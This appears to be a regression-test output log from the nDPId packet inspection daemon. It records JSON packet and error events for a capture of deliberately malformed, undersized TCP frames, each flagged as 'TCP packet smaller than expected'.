-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435150} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435159} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435171} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435212} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435227} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435238} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435250} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435275} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435288} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435427} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435436} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435444} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435452} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435459} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435467} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435482} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435499} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435506} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435518} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435528} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435537} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435546} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435561} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435575} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435593} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435613} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435626} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435638} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435650} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435665} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435678} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435686} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435694} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435704} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435716} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435728} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435749} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435757} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027435765} 